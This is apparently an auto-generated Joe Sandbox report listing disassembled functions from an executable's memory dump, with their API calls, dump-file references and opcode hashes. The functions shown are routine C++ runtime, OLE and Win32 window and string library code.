Opcode Fuzzy Hash: b5fae871b427386c498d46ea880683ce3cefda575c71e3ff179eb432663631bc
Instruction Fuzzy Hash: BB11CE3590061A9BCF04EBA0D849AEE7F79BFC4310F24051AF401A73A2CF389E05DB95

Function 0056C4FD Relevance: 10.6, APIs: 7, Instructions: 54COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 0056C504
std::_Lockit::_Lockit.LIBCPMT ref: 0056C50E
int.LIBCPMT ref: 0056C525

Part of subcall function 00562740: std::_Lockit::_Lockit.LIBCPMT ref: 00562751
Part of subcall function 00562740: std::_Lockit::~_Lockit.LIBCPMT ref: 0056276B

moneypunct.LIBCPMT ref: 0056C548
std::_Facet_Register.LIBCPMT ref: 0056C55F
std::_Lockit::~_Lockit.LIBCPMT ref: 0056C57F
__CxxThrowException@8.LIBVCRUNTIME ref: 0056C59D

Memory Dump Source

Source File: 00000000.00000002.3349523211.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3349471262.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.00000000005C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000BE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CD7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350915113.0000000000D07000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350988699.0000000000D08000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe3.jbxd

Yara matches

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Exception@8Facet_H_prolog3RegisterThrowmoneypunct
String ID:
API String ID: 113178234-0
Opcode ID: a207db76d28ba9c09b34ff8ecce09a1417f8a4278a014fb82c7afc146d7290fd
Instruction ID: 23b05afa9dfb88bfe3af92ab88e86dac9e6151d1d6cd6ea45a9d5b2d1c830ff4
Opcode Fuzzy Hash: a207db76d28ba9c09b34ff8ecce09a1417f8a4278a014fb82c7afc146d7290fd
Instruction Fuzzy Hash: B011C27590411A9BCF04FBA4DC49AFE7F75BFC4310F280519E401A7292CF74AA04CBA6

Function 0056C5A3 Relevance: 10.6, APIs: 7, Instructions: 54COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 0056C5AA
std::_Lockit::_Lockit.LIBCPMT ref: 0056C5B4
int.LIBCPMT ref: 0056C5CB

Part of subcall function 00562740: std::_Lockit::_Lockit.LIBCPMT ref: 00562751
Part of subcall function 00562740: std::_Lockit::~_Lockit.LIBCPMT ref: 0056276B

moneypunct.LIBCPMT ref: 0056C5EE
std::_Facet_Register.LIBCPMT ref: 0056C605
std::_Lockit::~_Lockit.LIBCPMT ref: 0056C625
__CxxThrowException@8.LIBVCRUNTIME ref: 0056C643

Memory Dump Source

Source File: 00000000.00000002.3349523211.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3349471262.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.00000000005C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000BE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CD7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350915113.0000000000D07000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350988699.0000000000D08000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe3.jbxd

Yara matches

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Exception@8Facet_H_prolog3RegisterThrowmoneypunct
String ID:
API String ID: 113178234-0
Opcode ID: 6358337f7d4ffd4a1901b4edf9db5a69400f35f11399b9309f3a64d2def121fd
Instruction ID: ee5900f9e15ff4c0f710a0c26189fa7503a49cb5a989c4bdc0bd9ecdb45367d0
Opcode Fuzzy Hash: 6358337f7d4ffd4a1901b4edf9db5a69400f35f11399b9309f3a64d2def121fd
Instruction Fuzzy Hash: 3F11A03590021A9BCB04EBA4DC19ABD7F79BFC4310F250519E415A72A2CF749A09CB95

Function 0056C649 Relevance: 10.6, APIs: 7, Instructions: 54COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 0056C650
std::_Lockit::_Lockit.LIBCPMT ref: 0056C65A
int.LIBCPMT ref: 0056C671

Part of subcall function 00562740: std::_Lockit::_Lockit.LIBCPMT ref: 00562751
Part of subcall function 00562740: std::_Lockit::~_Lockit.LIBCPMT ref: 0056276B

moneypunct.LIBCPMT ref: 0056C694
std::_Facet_Register.LIBCPMT ref: 0056C6AB
std::_Lockit::~_Lockit.LIBCPMT ref: 0056C6CB
__CxxThrowException@8.LIBVCRUNTIME ref: 0056C6E9

Memory Dump Source

Source File: 00000000.00000002.3349523211.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3349471262.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.00000000005C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000BE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CD7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350915113.0000000000D07000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350988699.0000000000D08000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe3.jbxd

Yara matches

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Exception@8Facet_H_prolog3RegisterThrowmoneypunct
String ID:
API String ID: 113178234-0
Opcode ID: fc06f96c0c1ee9b1c240bff2a689506c087d43f0f4ce52093a317ebfbe66c29c
Instruction ID: 01318a30534206195e746b07c8bba129717cde19bd5e073dcd0808cc294e33e8
Opcode Fuzzy Hash: fc06f96c0c1ee9b1c240bff2a689506c087d43f0f4ce52093a317ebfbe66c29c
Instruction Fuzzy Hash: 5E11E53690011A9BCF05EFA4D809AFD7F75BFC4311F15011AE410AB2A2CF349A04CBA5

Function 0056C6EF Relevance: 10.6, APIs: 7, Instructions: 54COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 0056C6F6
std::_Lockit::_Lockit.LIBCPMT ref: 0056C700
int.LIBCPMT ref: 0056C717

Part of subcall function 00562740: std::_Lockit::_Lockit.LIBCPMT ref: 00562751
Part of subcall function 00562740: std::_Lockit::~_Lockit.LIBCPMT ref: 0056276B

moneypunct.LIBCPMT ref: 0056C73A
std::_Facet_Register.LIBCPMT ref: 0056C751
std::_Lockit::~_Lockit.LIBCPMT ref: 0056C771
__CxxThrowException@8.LIBVCRUNTIME ref: 0056C78F

Memory Dump Source

Source File: 00000000.00000002.3349523211.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3349471262.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.00000000005C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000BE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CD7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350915113.0000000000D07000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350988699.0000000000D08000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe3.jbxd

Yara matches

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Exception@8Facet_H_prolog3RegisterThrowmoneypunct
String ID:
API String ID: 113178234-0
Opcode ID: dba9304d7a2e1aa704296a5a30f13df11eb776a3a267aeb0300724f195314a59
Instruction ID: c8f265c72c406002becd2b31fb04de527a6b37a163ca7e6c9bd9b190959f0ece
Opcode Fuzzy Hash: dba9304d7a2e1aa704296a5a30f13df11eb776a3a267aeb0300724f195314a59
Instruction Fuzzy Hash: C211AC3590021A9BCB05EFA4D849AFE7F79BF84710F14051DE404AB2A2DF789A05DBA5

Function 0056C987 Relevance: 10.6, APIs: 7, Instructions: 54COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 0056C98E
std::_Lockit::_Lockit.LIBCPMT ref: 0056C998
int.LIBCPMT ref: 0056C9AF

Part of subcall function 00562740: std::_Lockit::_Lockit.LIBCPMT ref: 00562751
Part of subcall function 00562740: std::_Lockit::~_Lockit.LIBCPMT ref: 0056276B

numpunct.LIBCPMT ref: 0056C9D2
std::_Facet_Register.LIBCPMT ref: 0056C9E9
std::_Lockit::~_Lockit.LIBCPMT ref: 0056CA09
__CxxThrowException@8.LIBVCRUNTIME ref: 0056CA27

Memory Dump Source

Source File: 00000000.00000002.3349523211.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3349471262.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.00000000005C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000BE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CD7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350915113.0000000000D07000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350988699.0000000000D08000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe3.jbxd

Yara matches

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Exception@8Facet_H_prolog3RegisterThrownumpunct
String ID:
API String ID: 2509942033-0
Opcode ID: cbd87fa51bb13d7a23f8b19c8a7742efe59218c436e69bee7c7d81a1f9adf80b
Instruction ID: aecff01556abc7c3fa6c4ee85dddc08606483d0a5d944642db0d402ccd24cbb1
Opcode Fuzzy Hash: cbd87fa51bb13d7a23f8b19c8a7742efe59218c436e69bee7c7d81a1f9adf80b
Instruction Fuzzy Hash: AC112132A0061A8BCF05EFA0D809AFE7F79BFC4310F140119E801AB2A2CF349E04CB95

Function 005653FA Relevance: 10.6, APIs: 7, Instructions: 54COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00565401
std::_Lockit::_Lockit.LIBCPMT ref: 0056540B
int.LIBCPMT ref: 00565422

Part of subcall function 00562740: std::_Lockit::_Lockit.LIBCPMT ref: 00562751
Part of subcall function 00562740: std::_Lockit::~_Lockit.LIBCPMT ref: 0056276B

codecvt.LIBCPMT ref: 00565445
std::_Facet_Register.LIBCPMT ref: 0056545C
std::_Lockit::~_Lockit.LIBCPMT ref: 0056547C
__CxxThrowException@8.LIBVCRUNTIME ref: 0056549A

Memory Dump Source

Source File: 00000000.00000002.3349523211.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3349471262.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.00000000005C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000BE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CD7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350915113.0000000000D07000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350988699.0000000000D08000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe3.jbxd

Yara matches

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Exception@8Facet_H_prolog3RegisterThrowcodecvt
String ID:
API String ID: 2594415655-0
Opcode ID: 12b4ed1ca4441cc6c601606c95bc6459b3303628a75cb057a68131390e5404c5
Instruction ID: ca6cb7b0bd7865a7602ba4eb6bc1ea9a7f266e70021a15f0bff7abde1a631cd0
Opcode Fuzzy Hash: 12b4ed1ca4441cc6c601606c95bc6459b3303628a75cb057a68131390e5404c5
Instruction Fuzzy Hash: C411E135940A1A9FCF04EBA0D849AFE7F79BFC4312F240159E401A72A2DF349E04CB95

Function 00421360 Relevance: 9.3, APIs: 6, Instructions: 265memoryCOMMON

Download Yara Rule

APIs

SafeArrayCreate.OLEAUT32 ref: 0042146C
SafeArrayAccessData.OLEAUT32(00000000,?), ref: 00421491
SafeArrayDestroy.OLEAUT32(00000000), ref: 0042149C
VariantCopyInd.OLEAUT32(?,?), ref: 004214F5
SysAllocString.OLEAUT32(00000000), ref: 00421658
SafeArrayUnaccessData.OLEAUT32(00000000), ref: 00421691

Memory Dump Source

Source File: 00000000.00000002.3349523211.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3349471262.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.00000000005C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000BE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CD7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350915113.0000000000D07000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350988699.0000000000D08000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe3.jbxd

Yara matches

Similarity

API ID: ArraySafe$Data$AccessAllocCopyCreateDestroyStringUnaccessVariant
String ID:
API String ID: 3584657539-0
Opcode ID: a749f4b9e3e3d99e4a6e8883336e066f9087421d6a2a0c3797aa55a23c021cea
Instruction ID: 54e8e020a72ed8610ee0b224f4ba4bd77fada27248e546e3bd2ef62940f04e56
Opcode Fuzzy Hash: a749f4b9e3e3d99e4a6e8883336e066f9087421d6a2a0c3797aa55a23c021cea
Instruction Fuzzy Hash: 3291AD717042219BD714DF19E890B2EB3E6EBE8300FE4492FE94687361D67DDC818B5A

Function 00436470 Relevance: 9.2, APIs: 6, Instructions: 176windowCOMMON

Download Yara Rule

APIs

IsWindow.USER32(?), ref: 004364C1
IsWindow.USER32(?), ref: 004364D6
IsChild.USER32(?,?), ref: 004364E7
SetFocus.USER32(?), ref: 004364F8
IsWindow.USER32(?), ref: 004365F0
IsWindowVisible.USER32(?), ref: 004365FE

Memory Dump Source

Source File: 00000000.00000002.3349523211.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3349471262.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.00000000005C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000BE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CD7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350915113.0000000000D07000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350988699.0000000000D08000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe3.jbxd

Yara matches

Similarity

API ID: Window$ChildFocusVisible
String ID:
API String ID: 372613587-0
Opcode ID: bd47b2aabe75076ac20d99543b980f68cb020673a29d4518db832d6066cf89f7
Instruction ID: e5dcce013c93d4512fd589d3678ceb739f10615b83dda0da3eee463a93930d61
Opcode Fuzzy Hash: bd47b2aabe75076ac20d99543b980f68cb020673a29d4518db832d6066cf89f7
Instruction Fuzzy Hash: AF519471600306AFD720EF65D881D2BB7E8BF98348F458A2EF94597241D738ED05CBA9

Function 00561780 Relevance: 9.1, APIs: 6, Instructions: 139COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 005617DE
std::_Lockit::_Lockit.LIBCPMT ref: 00561800
std::_Lockit::~_Lockit.LIBCPMT ref: 00561821
__Getctype.LIBCPMT ref: 005618A5
std::_Facet_Register.LIBCPMT ref: 005618C4
std::_Lockit::~_Lockit.LIBCPMT ref: 005618E0

Memory Dump Source

Source File: 00000000.00000002.3349523211.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3349471262.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.00000000005C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000BE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CD7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350915113.0000000000D07000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350988699.0000000000D08000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe3.jbxd

Yara matches

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_GetctypeRegister
String ID:
API String ID: 1102183713-0
Opcode ID: cf0e612cd62170032698720004770ce32bc274563d014312ee226280b9c7da76
Instruction ID: 844a16f74ff90f8238003d9a231f078c46bebe99ee041657c8c1fbb0fc8b6c17
Opcode Fuzzy Hash: cf0e612cd62170032698720004770ce32bc274563d014312ee226280b9c7da76
Instruction Fuzzy Hash: 9A51BBB1D00605DFDB10DF58C844BAEBBB8FF58310F188269E805A7392DB30AE44CB95

Function 004490A0 Relevance: 9.1, APIs: 6, Instructions: 124COMMON

Download Yara Rule

APIs

CopyRect.USER32(?,00000000), ref: 004490E2
IsRectEmpty.USER32(?), ref: 00449113
OffsetRect.USER32(?,00000000,?), ref: 00449163
LPtoDP.GDI32(?,?,00000002), ref: 00449198
GetClientRect.USER32(?,?), ref: 004491A7
IntersectRect.USER32(?,?,?), ref: 004491BC

Memory Dump Source

Source File: 00000000.00000002.3349523211.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3349471262.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.00000000005C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000BE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CD7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350915113.0000000000D07000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350988699.0000000000D08000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe3.jbxd

Yara matches

Similarity

API ID: Rect$ClientCopyEmptyIntersectOffset
String ID:
API String ID: 1743551499-0
Opcode ID: 5bf1738bfebdd4b3cf0e26b5a1a2a8898743d53fe8e8b82b40a30e5077309b83
Instruction ID: 61dbed46b23bb2d07c53c9bd9eef06c367ba96c5178beaaac4db1d1d3c496d1b
Opcode Fuzzy Hash: 5bf1738bfebdd4b3cf0e26b5a1a2a8898743d53fe8e8b82b40a30e5077309b83
Instruction Fuzzy Hash: 984109B66087019FD318CF69C88095BB7E9FBC8710F048A2EF556C7251DB38D945CB66

Function 005620A0 Relevance: 9.1, APIs: 6, Instructions: 118COMMONLIBRARYCODE

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 005620E0
std::_Lockit::_Lockit.LIBCPMT ref: 00562102
std::_Lockit::~_Lockit.LIBCPMT ref: 00562122
__Getctype.LIBCPMT ref: 005621BB
std::_Facet_Register.LIBCPMT ref: 005621DA
std::_Lockit::~_Lockit.LIBCPMT ref: 005621F2

Memory Dump Source

Source File: 00000000.00000002.3349523211.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3349471262.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.00000000005C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000BE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CD7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350915113.0000000000D07000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350988699.0000000000D08000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe3.jbxd

Yara matches

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_GetctypeRegister
String ID:
API String ID: 1102183713-0
Opcode ID: e778ba0de2262e3e7ad9d3a9106e3fd2484bed68779e8417a1103494d6f53c77
Instruction ID: 4ff034b15165a289258e0ceba2ee715c2509d19135de8b33cc6c7be8b0554b4a
Opcode Fuzzy Hash: e778ba0de2262e3e7ad9d3a9106e3fd2484bed68779e8417a1103494d6f53c77
Instruction Fuzzy Hash: 5F41E1B19046058FDB11DF18DD41AAABBB8FB55710F14816DED05AB352EB30EE44CB81

Function 004A4FE0 Relevance: 9.1, APIs: 6, Instructions: 117COMMON

Download Yara Rule

APIs

GetStringTypeW.KERNEL32(00000001,00BDDB4C,00000001,-00000030,00000003,00000000,-00000030,?,00000000,00499AF1,00000000,004305D2,00000000), ref: 004A501F
GetStringTypeA.KERNEL32(00000000,00000001,00BDDB48,00000001,?,?,00000000,00499AF1,00000000,004305D2,00000000), ref: 004A5039
GetStringTypeA.KERNEL32(-00000030,004305D2,00000000,00499AF1,00000000,00000003,00000000,-00000030,?,00000000,00499AF1,00000000,004305D2,00000000), ref: 004A506D
MultiByteToWideChar.KERNEL32(?,00000001,00000000,00499AF1,00000000,00000000,00000003,00000000,-00000030,?,00000000,00499AF1,00000000,004305D2,00000000), ref: 004A50A5
MultiByteToWideChar.KERNEL32(?,00000001,00000000,00499AF1,?,?,?,?,?,?,00000000,00499AF1,00000000,004305D2), ref: 004A50FB
GetStringTypeW.KERNEL32(004305D2,?,00000000,00000000,?,?,?,?,?,?,00000000,00499AF1,00000000,004305D2), ref: 004A510D

Memory Dump Source

Source File: 00000000.00000002.3349523211.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3349471262.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.00000000005C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000BE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CD7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFF000.00000040.00000001.01000000.00000003.sdmpDownload File
